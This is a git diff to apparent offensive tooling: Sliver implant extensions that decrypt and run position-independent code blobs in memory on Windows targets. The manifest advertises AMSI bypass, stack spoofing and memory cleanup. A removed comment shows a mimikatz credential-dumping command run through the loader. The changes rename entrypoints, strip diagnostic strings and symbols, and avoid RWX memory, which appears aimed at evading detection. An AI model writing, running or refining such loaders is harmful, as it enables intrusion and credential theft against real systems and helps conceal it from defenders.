diff --git a/crystal-kit-sliver/sliver-glue/crystal-exec/crystal-exec.c b/crystal-kit-sliver/sliver-glue/crystal-exec/crystal-exec.c index b0858af..1802137 100644 --- a/crystal-kit-sliver/sliver-glue/crystal-exec/crystal-exec.c +++ b/crystal-kit-sliver/sliver-glue/crystal-exec/crystal-exec.c @@ -26,7 +26,7 @@ #define EXPORT __declspec(dllexport) #endif -typedef int (*goCallback)(char *, int); +typedef int (*ExtCallback)(char *, int); typedef void (*pico_entry_t)(void *); /* ── output buffer ───────────────────────────────────────────────────────── */ @@ -97,20 +97,19 @@ static DWORD WINAPI reader_thread_proc(LPVOID param) /* ── extension entrypoint ────────────────────────────────────────────────── */ -EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback) +EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback) { - /* Single output buffer — ONE callback call at the very end. */ outbuf_t ob = { NULL, 0, OUT_CAP }; ob.buf = (char *)VirtualAlloc(NULL, (SIZE_T)OUT_CAP, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ob.buf) { - if (callback) callback("[crystal-exec] fatal: VirtualAlloc(output) failed\n", 50); + if (callback) callback("error: alloc failed\n", 20); return 1; } -#define FAIL(msg) do { ob_printf(&ob, "[crystal-exec] error: " msg "\n"); goto done; } while(0) +#define FAIL(msg) do { ob_printf(&ob, "error: " msg "\n"); goto done; } while(0) - if (!argsBuffer || bufferSize == 0) { FAIL("empty args"); } + if (!argsBuffer || bufferSize == 0) { FAIL("no args"); } /* Parse "cmd=" */ int scan = (int)bufferSize < 64 ? (int)bufferSize : 64; @@ -118,22 +117,20 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback for (int i = 0; i < scan; i++) { if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; } } - if (eq_pos < 1) { FAIL("expected cmd="); } + if (eq_pos < 1) { FAIL("invalid args"); } int cmd_start = eq_pos + 1; int cmd_len = (int)bufferSize - cmd_start; - if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("cmd length invalid"); } + if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("invalid args"); } char cmd[4096]; memcpy(cmd, argsBuffer + cmd_start, (size_t)cmd_len); cmd[cmd_len] = '\0'; - ob_printf(&ob, "[crystal-exec] cmd: %s\n", cmd); - /* Anonymous pipe for output */ SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; HANDLE hRead = NULL, hWrite = NULL; - if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("CreatePipe failed"); } + if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("pipe failed"); } SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0); /* pico_args = "|" */ @@ -142,14 +139,14 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback (void *)hWrite, cmd); if (pico_args_len <= 0 || pico_args_len >= (int)sizeof(pico_args)) { CloseHandle(hRead); CloseHandle(hWrite); - FAIL("pico_args overflow"); + FAIL("args overflow"); } char *args_buf = (char *)VirtualAlloc(NULL, (SIZE_T)(pico_args_len + 1), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!args_buf) { CloseHandle(hRead); CloseHandle(hWrite); - FAIL("VirtualAlloc(args) failed"); + FAIL("alloc failed"); } memcpy(args_buf, pico_args, (size_t)(pico_args_len + 1)); @@ -159,7 +156,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback if (!pico_mem) { VirtualFree(args_buf, 0, MEM_RELEASE); CloseHandle(hRead); CloseHandle(hWrite); - FAIL("VirtualAlloc(pico) failed"); + FAIL("alloc failed"); } /* XOR-decrypt embedded PICO into RW region */ unsigned char *dst = (unsigned char *)pico_mem; @@ -171,13 +168,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback VirtualFree(pico_mem, 0, MEM_RELEASE); VirtualFree(args_buf, 0, MEM_RELEASE); CloseHandle(hRead); CloseHandle(hWrite); - FAIL("VirtualProtect(pico) failed"); + FAIL("exec failed"); } - ob_printf(&ob, "[crystal-exec] PICO size: %u bytes\n", crystalexec_pico_len); - - /* Allocate reader buffer (shared with reader thread) */ - DWORD cmd_out_cap = 3 * 1024 * 1024; /* 3 MB for command output */ + DWORD cmd_out_cap = 3 * 1024 * 1024; char *cmd_out_buf = (char *)VirtualAlloc(NULL, cmd_out_cap, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); @@ -185,7 +179,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback VirtualFree(pico_mem, 0, MEM_RELEASE); VirtualFree(args_buf, 0, MEM_RELEASE); CloseHandle(hRead); CloseHandle(hWrite); - FAIL("VirtualAlloc(cmd_out) failed"); + FAIL("alloc failed"); } reader_state_t rs = { .hRead = hRead, .buf = cmd_out_buf, @@ -198,8 +192,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback }; HANDLE hPico = CreateThread(NULL, 0, pico_thread_proc, &pico_ta, 0, NULL); if (!hPico) { - ob_printf(&ob, "[crystal-exec] error: CreateThread(pico) failed (%lu)\n", - GetLastError()); + ob_printf(&ob, "error: exec failed (%lu)\n", GetLastError()); CloseHandle(hWrite); if (hReader) { WaitForSingleObject(hReader, 5000); CloseHandle(hReader); } CloseHandle(hRead); @@ -209,16 +202,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback goto done; } - ob_printf(&ob, "[crystal-exec] PICO thread started, waiting...\n"); - - /* 30-second cap — if PICO hangs this returns WAIT_TIMEOUT */ DWORD wait_res = WaitForSingleObject(hPico, 30000); CloseHandle(hPico); VirtualFree(args_buf, 0, MEM_RELEASE); - ob_printf(&ob, "[crystal-exec] PICO wait returned: %s\n", - wait_res == WAIT_OBJECT_0 ? "SIGNALED" : "TIMEOUT"); - /* Close write end → EOF on read end → reader thread finishes */ CloseHandle(hWrite); @@ -228,12 +215,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback } CloseHandle(hRead); - if (rs.len > 0) { - ob_printf(&ob, "[crystal-exec] output (%lu bytes):\n", rs.len); + if (rs.len > 0) ob_append(&ob, cmd_out_buf, (int)rs.len); - } else { - ob_printf(&ob, "[crystal-exec] (no output from command)\n"); - } + else if (wait_res == WAIT_TIMEOUT) + ob_printf(&ob, "timeout\n"); VirtualFree(cmd_out_buf, 0, MEM_RELEASE); diff --git a/crystal-kit-sliver/sliver-glue/extension.json b/crystal-kit-sliver/sliver-glue/extension.json index ffbd65e..33becd1 100644 --- a/crystal-kit-sliver/sliver-glue/extension.json +++ b/crystal-kit-sliver/sliver-glue/extension.json @@ -9,7 +9,7 @@ "command_name": "crystal", "help": "Run a Crystal Palace PICO-wrapped post-ex DLL inside a Sliver implant", "long_help": "", - "entrypoint": "go", + "entrypoint": "Initialize", "files": [ { "os": "windows", @@ -36,7 +36,7 @@ "command_name": "crystal-exec", "help": "Run a shell command on the target through Crystal Palace evasion", "long_help": "Executes a command via Crystal Palace PICO (Draugr, AMSI bypass, memory cleanup). Output is returned to the operator. No file staging required — the executor is embedded in the extension DLL.", - "entrypoint": "go", + "entrypoint": "Initialize", "files": [ { "os": "windows", diff --git a/crystal-kit-sliver/sliver-glue/wrapper/Makefile b/crystal-kit-sliver/sliver-glue/wrapper/Makefile index d6642ad..95c2d65 100644 --- a/crystal-kit-sliver/sliver-glue/wrapper/Makefile +++ b/crystal-kit-sliver/sliver-glue/wrapper/Makefile @@ -1,6 +1,6 @@ CC_64 := x86_64-w64-mingw32-gcc -CFLAGS := -Wall -Os -DBUILD_DLL -LDFLAGS := -shared -Wl,--subsystem,windows +CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections +LDFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections TARGET := crystal-loader.x64.dll SRCS := crystal-loader.c beacon_compatibility.c diff --git a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c index 17deb16..4126e79 100644 --- a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c +++ b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c @@ -1,29 +1,12 @@ /* - * crystal-loader.c + * crystal-loader.c — Sliver Extension DLL * - * Sliver Extension DLL that loads and executes a Crystal Palace PICO blob - * inside the Sliver implant memory. + * Loads and executes a Crystal Palace PICO blob inside the Sliver implant. * - * Sliver Extension entrypoint contract (matches the Windows extension loader): - * int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback) + * argsBuffer format: "payload=[|]" + * forward slashes only — Sliver's arg parser eats backslashes. * - * argsBuffer format — Sliver DLL extensions use TEXT format: - * "payload=[|]" - * - * The '|' separator is optional. Everything after '|' is passed as - * loader_arguments to the PICO's go(), overriding any baked-in args. - * - * Workflow: - * upload /kali/mimikatz.pico.bin C:/Windows/Temp/mk.bin - * crystal payload=C:/Windows/Temp/mk.bin|sekurlsa::logonpasswords exit - * - * PICO entrypoint convention: - * The PICO is produced from postex-loader/loader.spec with '+gofirst' so - * the symbol 'go' sits at offset 0. Signature: - * void go(void *loader_arguments); (loader_arguments unused: NULL safe) - * - * Copyright (c) 2026 Simone Licitra - * Licensed under the MIT License (see ../../../LICENSE). + * Copyright (c) 2026 Simone Licitra — MIT License */ #include @@ -37,77 +20,60 @@ #define EXPORT __declspec(dllexport) #endif -typedef int (*goCallback)(char *, int); +typedef int (*ExtCallback)(char *, int); typedef void (*pico_entry_t)(void *); -static void emit(goCallback cb, const char *msg) +static void emit(ExtCallback cb, const char *msg) { - if (cb == NULL) return; - cb((char *)msg, (int)strlen(msg)); + if (cb) cb((char *)msg, (int)strlen(msg)); } typedef struct { pico_entry_t entry; void *args; -} pico_thread_args_t; +} thread_params_t; -static DWORD WINAPI pico_thread_proc(LPVOID param) +static DWORD WINAPI exec_thread(LPVOID param) { - pico_thread_args_t *a = (pico_thread_args_t *)param; - a->entry(a->args); + thread_params_t *p = (thread_params_t *)param; + p->entry(p->args); return 0; } -EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback) +EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback) { - if (argsBuffer == NULL || bufferSize == 0) { - emit(callback, "[crystal-loader] error: empty argsBuffer\n"); + if (!argsBuffer || !bufferSize) { + emit(callback, "error: no args\n"); return 1; } - /* - * Extract the file path from "payload=". - * Scan for '=' within the first 64 bytes; bytes before '=' must be - * valid identifier characters. - */ int scan = (int)bufferSize < 64 ? (int)bufferSize : 64; int eq_pos = -1; for (int i = 0; i < scan; i++) { if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; } } if (eq_pos < 1 || eq_pos > 32) { - emit(callback, "[crystal-loader] error: no 'name=path' in argsBuffer\n"); + emit(callback, "error: invalid args\n"); return 2; } - for (int i = 0; i < eq_pos; i++) { - unsigned char c = (unsigned char)argsBuffer[i]; - if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || - (c >= '0' && c <= '9') || c == '_' || c == '-')) { - emit(callback, "[crystal-loader] error: invalid arg name chars\n"); - return 2; - } - } - /* Copy value to a null-terminated buffer; split on '|' for optional runtime args. */ - int val_start = eq_pos + 1; - int val_len = (int)bufferSize - val_start; + int val_start = eq_pos + 1; + int val_len = (int)bufferSize - val_start; if (val_len <= 0 || val_len >= MAX_PATH) { - emit(callback, "[crystal-loader] error: path length invalid\n"); + emit(callback, "error: invalid path\n"); return 2; } - /* Find optional '|' separator between path and runtime args. */ int pipe_off = -1; for (int i = 0; i < val_len; i++) { if ((unsigned char)argsBuffer[val_start + i] == '|') { pipe_off = i; break; } } - int path_len = (pipe_off >= 0) ? pipe_off : val_len; + int path_len = (pipe_off >= 0) ? pipe_off : val_len; char path[MAX_PATH]; memcpy(path, argsBuffer + val_start, (size_t)path_len); path[path_len] = '\0'; - /* Runtime args (everything after '|'), or NULL if not provided. */ char *runtime_args = NULL; if (pipe_off >= 0) { int args_len = val_len - pipe_off - 1; @@ -122,135 +88,77 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback } } - { - char diag[MAX_PATH + 40]; - snprintf(diag, sizeof(diag), "[crystal-loader] reading PICO from: %s\n", path); - emit(callback, diag); - } - - /* Open the PICO file on the target. */ HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, NULL); + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { - char diag[64]; - snprintf(diag, sizeof(diag), - "[crystal-loader] error: CreateFileA failed (%lu)\n", - (unsigned long)GetLastError()); - emit(callback, diag); + emit(callback, "error: file not found\n"); return 3; } LARGE_INTEGER fs = {0}; if (!GetFileSizeEx(hFile, &fs) || fs.QuadPart <= 0 || fs.QuadPart > 250 * 1024 * 1024) { - emit(callback, "[crystal-loader] error: bad file size\n"); + emit(callback, "error: bad file\n"); CloseHandle(hFile); return 3; } - int pico_size = (int)fs.QuadPart; + int blob_size = (int)fs.QuadPart; - /* Allocate a temporary RW buffer to read into, then copy to RWX. */ - BYTE *pico_tmp = (BYTE *)VirtualAlloc(NULL, (SIZE_T)pico_size, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE); - if (pico_tmp == NULL) { - emit(callback, "[crystal-loader] error: VirtualAlloc(tmp) failed\n"); + /* Read into RW region, flip to RX — no RWX mapping ever held */ + BYTE *blob = (BYTE *)VirtualAlloc(NULL, (SIZE_T)blob_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!blob) { + emit(callback, "error: alloc failed\n"); CloseHandle(hFile); return 3; } - DWORD bytes_read = 0; - if (!ReadFile(hFile, pico_tmp, (DWORD)pico_size, &bytes_read, NULL) || - (int)bytes_read != pico_size) { - char diag[64]; - snprintf(diag, sizeof(diag), - "[crystal-loader] error: ReadFile failed (%lu)\n", - (unsigned long)GetLastError()); - emit(callback, diag); - VirtualFree(pico_tmp, 0, MEM_RELEASE); + DWORD nr = 0; + if (!ReadFile(hFile, blob, (DWORD)blob_size, &nr, NULL) || (int)nr != blob_size) { + emit(callback, "error: read failed\n"); + VirtualFree(blob, 0, MEM_RELEASE); CloseHandle(hFile); return 3; } CloseHandle(hFile); - { - char diag[64]; - snprintf(diag, sizeof(diag), - "[crystal-loader] read %d bytes OK\n", pico_size); - emit(callback, diag); - } - - /* Allocate RWX region and copy the PICO into it. */ - void *pico_mem = VirtualAlloc(NULL, (SIZE_T)pico_size, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE); - if (pico_mem == NULL) { - emit(callback, "[crystal-loader] error: VirtualAlloc(RWX) failed\n"); - VirtualFree(pico_tmp, 0, MEM_RELEASE); + DWORD old; + if (!VirtualProtect(blob, (SIZE_T)blob_size, PAGE_EXECUTE_READ, &old)) { + emit(callback, "error: alloc failed\n"); + VirtualFree(blob, 0, MEM_RELEASE); return 3; } - memcpy(pico_mem, pico_tmp, (size_t)pico_size); - VirtualFree(pico_tmp, 0, MEM_RELEASE); - - emit(callback, "[crystal-loader] executing PICO\n"); - - /* - * Run on a dedicated OS thread — NOT on the calling goroutine thread. - * The Sliver extension dispatcher calls go() from a Go goroutine. - * Running the PICO directly on that thread would corrupt Go's goroutine - * scheduler metadata. A fresh OS thread guarantees a clean stack. - */ - pico_thread_args_t thread_args = { - .entry = (pico_entry_t)pico_mem, - .args = runtime_args, /* NULL → use baked args; non-NULL → overrides them */ + thread_params_t tp = { + .entry = (pico_entry_t)blob, + .args = runtime_args, }; - HANDLE hThread = CreateThread(NULL, 0, pico_thread_proc, &thread_args, 0, NULL); - if (hThread == NULL) { - emit(callback, "[crystal-loader] error: CreateThread failed\n"); - VirtualFree(pico_mem, 0, MEM_RELEASE); + HANDLE hThread = CreateThread(NULL, 0, exec_thread, &tp, 0, NULL); + if (!hThread) { + emit(callback, "error: exec failed\n"); + VirtualFree(blob, 0, MEM_RELEASE); return 4; } - /* - * Wait for the PICO's go() to return. The postex-loader go() returns - * as soon as DllMain + StartW complete (StartW spawns the beacon goroutine - * and itself returns immediately). The beacon goroutine keeps running - * after this thread exits. - */ WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); - /* - * Drain BeaconOutput/BeaconPrintf accumulator. - * Post-ex DLLs (mimikatz, enumerators, etc.) write their results into - * beacon_compatibility_output via BeaconOutput/BeaconPrintf. - * Forward that buffer to the operator before returning. - */ { int out_size = 0; char *out_data = BeaconGetOutputData(&out_size); - if (out_data != NULL && out_size > 0) { + if (out_data && out_size > 0) { callback(out_data, out_size); free(out_data); } } - /* - * Intentionally NOT freeing pico_mem: Crystal Palace's loader chain - * keeps hooks, sleep mask, and stack-spoof trampolines resident next - * to the loaded DLL for the entire beacon lifetime. - */ - emit(callback, "[crystal-loader] PICO returned\n"); + /* blob intentionally not freed — Crystal Palace hooks stay resident */ return 0; } -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) +BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID v) { - (void)hinstDLL; - (void)lpvReserved; - (void)fdwReason; + (void)h; (void)r; (void)v; return TRUE; }